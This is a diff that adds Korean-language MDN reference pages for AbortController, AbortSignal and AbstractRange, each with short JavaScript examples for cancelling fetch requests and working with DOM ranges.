+++ b/files/ko/web/api/abortcontroller/abort/index.html
@@ -0,0 +1,93 @@
+---
+title: AbortController.abort()
+slug: Web/API/AbortController/abort
+tags:
+ - API
+ - AbortController
+ - Fetch
+ - abort()
+ - 레퍼런스
+ - 메소드
+ - 실험적
+translation_of: Web/API/AbortController/abort
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>{{domxref("AbortController")}} 인터페이스의 <strong><code>abort()</code></strong> 메소드는 DOM 요청(Fetch 요청과 같은)이 완료되기 전에 취소한다. 이를 통해 <a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch 요청</a>, 모든 응답 {{domxref("Body")}} 소비, 스트림을 취소할 수 있다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">controller.abort();</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<p>없음.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>Void.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+ controller.abort();
+ console.log('Download aborted');
+});
+
+function fetchVideo() {
+ ...
+ fetch(url, {signal}).then(function(response) {
+ ...
+ }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>과 함께 reject된다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortController.abort")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/abortcontroller/abortcontroller/index.html b/files/ko/web/api/abortcontroller/abortcontroller/index.html
new file mode 100644
index 0000000000..caa2355924
--- /dev/null
+++ b/files/ko/web/api/abortcontroller/abortcontroller/index.html
@@ -0,0 +1,88 @@
+---
+title: AbortController.AbortController()
+slug: Web/API/AbortController/AbortController
+tags:
+ - API
+ - AbortController
+ - Fetch
+ - 레퍼런스
+ - 생성자
+ - 실험적
+translation_of: Web/API/AbortController/AbortController
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>AbortController()</code></strong> 생성자는 새로운 <code>AbortController</code> 객체 인터페이스를 생성한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">var controller = new AbortController();</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<p>없음.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+ controller.abort();
+ console.log('Download aborted');
+});
+
+function fetchVideo() {
+ ...
+ fetch(url, {signal}).then(function(response) {
+ ...
+ }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>과 함께 reject된다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortController.AbortController")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/abortcontroller/index.html b/files/ko/web/api/abortcontroller/index.html
new file mode 100644
index 0000000000..4d3b92e09b
--- /dev/null
+++ b/files/ko/web/api/abortcontroller/index.html
@@ -0,0 +1,103 @@
+---
+title: AbortController
+slug: Web/API/AbortController
+tags:
+ - API
+ - AbortController
+ - 레퍼런스
+ - 실험적
+ - 인터페이스
+translation_of: Web/API/AbortController
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>AbortController</code></strong> 인터페이스는 하나 이상의 웹 요청을 취소할 수 있게 해준다.</p>
+
+<p>{{domxref("AbortController.AbortController()")}} 생성자를 사용해 새로운 <code>AbortController</code> 를 생성한다. {{domxref("AbortSignal")}} 객체를 사용해 DOM 요청과의 통신이 완료된다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("AbortController()")}}</dt>
+ <dd>새로운 <code>AbortController</code> 객체 인터페이스를 생성한다.</dd>
+</dl>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.signal")}} {{readonlyInline}}</dt>
+ <dd>DOM 요청과 통신하거나 취소하는데 사용되는 {{domxref("AbortSignal")}} 객체 인터페이스를 반환한다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.abort()")}}</dt>
+ <dd>DOM 요청이 완료되기 전에 취소한다. 이를 통해 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch 요청</a>, 모든 응답 {{domxref("Body")}} 소비, 스트림을 취소할 수 있다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+ controller.abort();
+ console.log('Download aborted');
+});
+
+function fetchVideo() {
+ ...
+ fetch(url, {signal}).then(function(response) {
+ ...
+ }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>으로 명명된 <code dir="ltr">DOMException</code>과 함께 reject된다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortController")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> by Jake Archibald</li>
+</ul>
diff --git a/files/ko/web/api/abortcontroller/signal/index.html b/files/ko/web/api/abortcontroller/signal/index.html
new file mode 100644
index 0000000000..1c67045b85
--- /dev/null
+++ b/files/ko/web/api/abortcontroller/signal/index.html
@@ -0,0 +1,89 @@
+---
+title: AbortController.signal
+slug: Web/API/AbortController/signal
+tags:
+ - API
+ - AbortController
+ - Fetch
+ - 레퍼런스
+ - 신호
+ - 실험적
+ - 프로퍼티
+translation_of: Web/API/AbortController/signal
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>{{domxref("AbortController")}} 인터페이스의 <strong><code>signal</code></strong> 읽기 전용 프로퍼티는 DOM 요청과 통신하거나 취소하는데 사용하는 {{domxref("AbortSignal")}} 객체 인터페이스를 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">var signal = abortController.signal;</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("AbortSignal")}} 객체 인터페이스.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+ controller.abort();
+ console.log('Download aborted');
+});
+
+function fetchVideo() {
+ ...
+ fetch(url, {signal}).then(function(response) {
+ ...
+ }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>과 함께 reject된다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-abortcontroller-signal', 'signal')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortController.signal")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/abortsignal/aborted/index.html b/files/ko/web/api/abortsignal/aborted/index.html
new file mode 100644
index 0000000000..edced40d38
--- /dev/null
+++ b/files/ko/web/api/abortsignal/aborted/index.html
@@ -0,0 +1,64 @@
+---
+title: AbortSignal.aborted
+slug: Web/API/AbortSignal/aborted
+tags:
+ - API
+ - AbortSignal
+ - aborted
+ - 레퍼런스
+ - 실험적
+ - 프로퍼티
+translation_of: Web/API/AbortSignal/aborted
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>aborted</code></strong> 읽기 전용 프로퍼티는 신호가 통신하는 DOM 요청이 취소되었는지(<code>true</code>) 그렇지 않은지(<code>false</code>)를 나타내는 {{domxref("Boolean")}}을 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">var isAborted = abortSignal.aborted;</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("Boolean")}}</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 새로운 <code>AbortController</code> 객체를 생성하고 {{domxref("AbortSignal")}}를 얻는다(<code>signal</code> 프로퍼티에서 가능). 그 다음 <code>aborted</code> 프로퍼티를 사용해 신호가 취소되었는지 확인하고 콘솔로 적절한 로그를 전송한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+// ...
+
+signal.aborted ? console.log('Request has been aborted') : console.log('Request not aborted');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-abortsignal-onabort', 'onabort')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortSignal.aborted")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+</ul>
diff --git a/files/ko/web/api/abortsignal/index.html b/files/ko/web/api/abortsignal/index.html
new file mode 100644
index 0000000000..70d4dff9c1
--- /dev/null
+++ b/files/ko/web/api/abortsignal/index.html
@@ -0,0 +1,107 @@
+---
+title: AbortSignal
+slug: Web/API/AbortSignal
+tags:
+ - API
+ - AbortSignal
+ - DOM
+ - 레퍼런스
+ - 실험적
+ - 인터페이스
+translation_of: Web/API/AbortSignal
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>AbortSignal</code></strong> 인터페이스는 DOM 요청(Fetch와 같은)과 통신하고 필요한 경우 {{domxref("AbortController")}} 객체를 통해 취소할 수 있게 해주는 신호 객체를 나타낸다.</p>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<p><em>AbortSignal 인터페이스는 또한 부모 인터페이스 {{domxref("EventTarget")}}으로부터 프로퍼티를 상속받는다.</em></p>
+
+<dl>
+ <dt>{{domxref("AbortSignal.aborted")}} {{readonlyInline}}</dt>
+ <dd>신호가 통신하는 요청이 취소되었는지(<code>true</code>) 그렇지 않은지(<code>false</code>)를 나타내는 {{domxref("Boolean")}}.</dd>
+</dl>
+
+<h2 id="이벤트">이벤트</h2>
+
+<p><code><a href="/ko/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>를 사용하거나 이 인터페이스의 <code>on<em>eventname</em></code> 프로퍼티로 이벤트 리스너를 할당하여 이벤트를 리슨한다.</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/AbortSignal/abort_event">abort</a></code></dt>
+ <dd>신호가 통신하는 요청이 취소되었을 때 호출된다. <code><a href="/ko/docs/Web/API/AbortSignal/onabort">onabort</a></code> 프로퍼티를 통해서도 사용이 가능하다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>AbortSignal 인터페이스는 부모인 {{domxref("EventTarget")}}로부터 메소드를 상속받는다.</em></p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 스니펫에서는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Fetch_API">Fetch API</a>를 사용해 비디오를 다운로드하는 것을 목표로 한다.</p>
+
+<p>먼저 {{domxref("AbortController.AbortController","AbortController()")}} 생성자를 사용해 컨트롤러를 {{domxref("AbortController.signal")}} 프로퍼티를 사용해 {{domxref("AbortSignal")}} 객체와 관계된 참조를 얻는다.</p>
+
+<p><a href="/ko/docs/Web/API/WindowOrWorkerGlobalScope/fetch">Fetch 요청</a>을 시작할 때, 요청의 옵션 객체 내부에 <code>AbortSignal</code> 옵션을 전달한다(아래의 <code>{signal}</code> 참고). 이것은 신호와 컨트롤러를 fetch 요청과 관계짓고, 아래의 두 번째 이벤트 리스너에서 보여주듯이 {{domxref("AbortController.abort()")}}를 호출하여 이를 취소할 수 있게한다.</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+ controller.abort();
+ console.log('Download aborted');
+});
+
+function fetchVideo() {
+ ...
+ fetch(url, {signal}).then(function(response) {
+ ...
+ }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: <code>abort()</code>가 호출되면, <code>fetch()</code> promise는 <code dir="ltr">AbortError</code>과 함께 reject된다.</p>
+</div>
+
+<div class="warning">
+<p>현재 버전의 Firefox는 <code>DOMException</code>으로 promise를 reject한다.</p>
+</div>
+
+<p>동작하는 완전한 예제는 GitHub에서 확인 할 수 있다 — <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a> 참고(<a href="https://mdn.github.io/dom-examples/abort-api/">라이브 실행도 확인할 수 있다</a>).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-AbortSignal', 'AbortSignal')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.AbortSignal")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> by Jake Archibald</li>
+</ul>
diff --git a/files/ko/web/api/abstractrange/collapsed/index.html b/files/ko/web/api/abstractrange/collapsed/index.html
new file mode 100644
index 0000000000..fdb2136dd2
--- /dev/null
+++ b/files/ko/web/api/abstractrange/collapsed/index.html
@@ -0,0 +1,46 @@
+---
+title: AbstractRange.collapsed
+slug: Web/API/AbstractRange/collapsed
+translation_of: Web/API/AbstractRange/collapsed
+---
+<p>{{APIRef("DOM WHATWG")}}</p>
+
+<p>{{domxref("AbstractRange")}}의 범위가 축소된 read-only 속성은 범위의 시작 위치와 끝 위치가 같을 경우 true를 반환합니다.  </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox notranslate">var <em>isCollpased</em> = <em>range</em>.collapsed</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>범위가 축소된 경우 true인 {{jsxref("Boolean")}}값을 반환합니다.  축소된 범위는 시작 위치와 종료 위치가 동일하며, 문자 길이가 0인 범위입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명시</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-range-collapsed', 'collapsed')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Static Range','#dom-AbstractRange-collapsed','collapsed')}}</td>
+ <td>{{Spec2('Static Range')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 checkout 하고 pull request를 보내주십시오.</p>
+
+<p>{{Compat("api.AbstractRange.collapsed")}}</p>
diff --git a/files/ko/web/api/abstractrange/index.html b/files/ko/web/api/abstractrange/index.html
new file mode 100644
index 0000000000..8a46663643
--- /dev/null
+++ b/files/ko/web/api/abstractrange/index.html
@@ -0,0 +1,199 @@
+---
+title: AbstractRange
+slug: Web/API/AbstractRange
+tags:
+ - API
+ - Abstract
+ - Abstract Interface
+ - AbstractRange
+ - DOM
+ - DOM API
+ - Interface
+ - NeedsTranslation
+ - Range
+ - Reference
+ - TopicStub
+translation_of: Web/API/AbstractRange
+---
+<div>{{APIRef("DOM WHATWG")}}</div>
+
+<p><span class="seoSummary">The <strong><code>AbstractRange</code></strong> abstract interface is the base class upon which all {{Glossary("DOM")}} range types are defined. A <strong>range</strong> is an object that indicates the start and end points of a section of content within the document.</span></p>
+
+<p>As an abstract interface, you will not directly instantiate an object of type <code>AbstractRange</code>. Instead, you will use the {{domxref("Range")}} or {{domxref("StaticRange")}} interfaces. To understand the difference between those two interfaces, and how to choose which is appropriate for your needs.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("AbstractRange.collapsed", "collapsed")}} {{ReadOnlyInline}}</dt>
+ <dd>A Boolean value which is <code>true</code> if the range is <strong>collapsed</strong>. A collapsed range is one whose start position and end position are the same, resulting in a zero-character-long range.</dd>
+ <dt>{{domxref("AbstractRange.endContainer", "endContainer")}} {{ReadOnlyInline}}</dt>
+ <dd>The DOM {{domxref("Node")}} in which the end of the range, as specified by the <code>endOffset</code> property, is located.</dd>
+ <dt>{{domxref("AbstractRange.endOffset", "endOffset")}} {{ReadOnlyInline}}</dt>
+ <dd>An integer value indicating the offset, in characters, from the beginning of the node's contents to the beginning of the range represented by the range object. This value must be less than the length of the <code>endContainer</code> node.</dd>
+ <dt>{{domxref("AbstractRange.startContainer", "startContainer")}} {{ReadOnlyInline}}</dt>
+ <dd>The DOM {{domxref("Node")}} in which the beginning of the range, as specified by the <code>startOffset</code> property, is located.</dd>
+ <dt>{{domxref("AbstractRange.startOffset", "startOffset")}} {{ReadOnlyInline}}</dt>
+ <dd>An integer value indicating the offset, in characters, from the beginning of the node's contents to the last character of the contents referred to  by the range object. This value must be less than the length of the node indicated in <code>startContainer</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>AbstractRange</code> interface offers no methods.</em></p>
+
+<h2 id="Usage_notes">Usage notes</h2>
+
+<h3 id="Range_types">Range types</h3>
+
+<p>All ranges of content within a {{domxref("Document", "document")}} are described using instances of interfaces based on <code>AbstractRange</code>. There are two such interfaces:</p>
+
+<dl>
+ <dt>{{domxref("Range")}}</dt>
+ <dd>The <code>Range</code> interface has been around for a long time and has only recently been redefined to be based upon <code>AbstractRange</code> as the need arose to define other forms of range data. <code>Range</code> provides methods that allow you to alter the range's endpoints, as well as methods to compare ranges, detect intersections beween ranges, and so forth.</dd>
+ <dt>{{domxref("StaticRange")}}</dt>
+ <dd>A <code>StaticRange</code> is a basic range which cannot be changed once it's been created. Specifically, as the node tree mutates and changes, the range does not. This is useful when you need to specify a range that will only be used once, since it avoids the performance and resource impact of the more complex {{domxref("Range")}} interface.</dd>
+</dl>
+
+<h3 id="Contents_of_elements">Contents of elements</h3>
+
+<p>When trying to access the contents of an element, keep in mind that the element itself is a node, but so is any text inside it. In order to set a range endpoint within the text of an element, be sure to find the text node inside the element:</p>
+
+<pre class="brush: js notranslate">let startElem = document.querySelector("p");
+let endElem = startElem.querySelector("span");
+let range = document.createRange();
+
+range.setStart(startElem, 0);
+range.setEnd(endElem, endElem.childNodes[0].length/2);
+let contents = range.cloneContents();
+
+document.body.appendChild(contents);
+</pre>
+
+<p>This example creates a new range, <code>rng</code>, and sets its starting point to the third child node of the first element whose class is <code>elementclass</code>. The end point is set to be the middle of the first child of the span, and then the range is used to copy the contents of the range.</p>
+
+<h3 id="Ranges_and_the_hierarchy_of_the_DOM">Ranges and the hierarchy of the DOM</h3>
+
+<p>In order to define a range of characters within a document in a way that is able to span across zero or more node boundaries, and which is as resilient as possible to changes to the DOM, you can't simply specify the offset to the first and last characters in the {{Glossary("HTML")}}. There are a few good reasons for that.</p>
+
+<p>First, after your page is loaded, the browser simply isn't thinking in terms of HTML. Once it's been loaded, the page is a tree of DOM {{domxref("Node")}} objects, so you need to specify the beginning and ending locations of a range in terms of nodes and positions within nodes.</p>
+
+<p>Second, in order to support the mutability of the DOM tree as much as possible, you need a way to represent positions relative to nodes in the tree, rather than simply global positions within the entire document. By defining points within the document as offsets within a given node, those positions remain consistent with the content even as nodes are added to, removed from, or moved around within the DOM tree—within reason. There are fairly obvious limitations (such as if a node is moved to be after the endpoint of a range, or if the content of a node is heavily altered), but it's far better than nothing.</p>
+
+<p>Third, using node-relative positions to define the start and end positions will generally be easier to make perform well. Rather than having to negotiate the DOM figuring out what your global offset refers to, the {{Glossary("user agent")}} (browser) can instead go directly to the node indicated by the starting position and start from there, working its way forward until it reaches the given offset into the ending node.</p>
+
+<p>To illustrate this, consider the HTML below:</p>
+
+<pre class="brush: html notranslate">&lt;div class="container"&gt;
+  &lt;div class="header"&gt;
+    &lt;img src="" class="sitelogo"&gt;
+    &lt;h1&gt;The Ultimate Website&lt;/h1&gt;
+  &lt;/div&gt;
+  &lt;article&gt;
+    &lt;section class="entry" id="entry1"&gt;
+      &lt;h2&gt;Section 1: An interesting thing...&lt;/h2&gt;
+      &lt;p&gt;A &lt;em&gt;very&lt;/em&gt; interesting thing happened on the way to the forum...&lt;/p&gt;
+      &lt;aside class="callout"&gt;
+        &lt;h2&gt;Aside&lt;/h2&gt;
+        &lt;p&gt;An interesting aside to share with you...&lt;/p&gt;
+      &lt;/aside&gt;
+    &lt;/section&gt;
+  &lt;/article&gt;
+  &lt;pre id="log"&gt;&lt;/pre&gt;
+&lt;/div&gt;</pre>
+
+<p>After loading the HTML and constructing the DOM representation of the document, the resulting DOM tree looks like this:</p>
+
+<p><a href="https://mdn.mozillademos.org/files/16886/SimpleDOM.svg"><img alt="Diagram of the DOM for a simple web page" src="https://mdn.mozillademos.org/files/16887/SimpleDOM.svg" style="height: 683px; width: 640px;"></a></p>
+
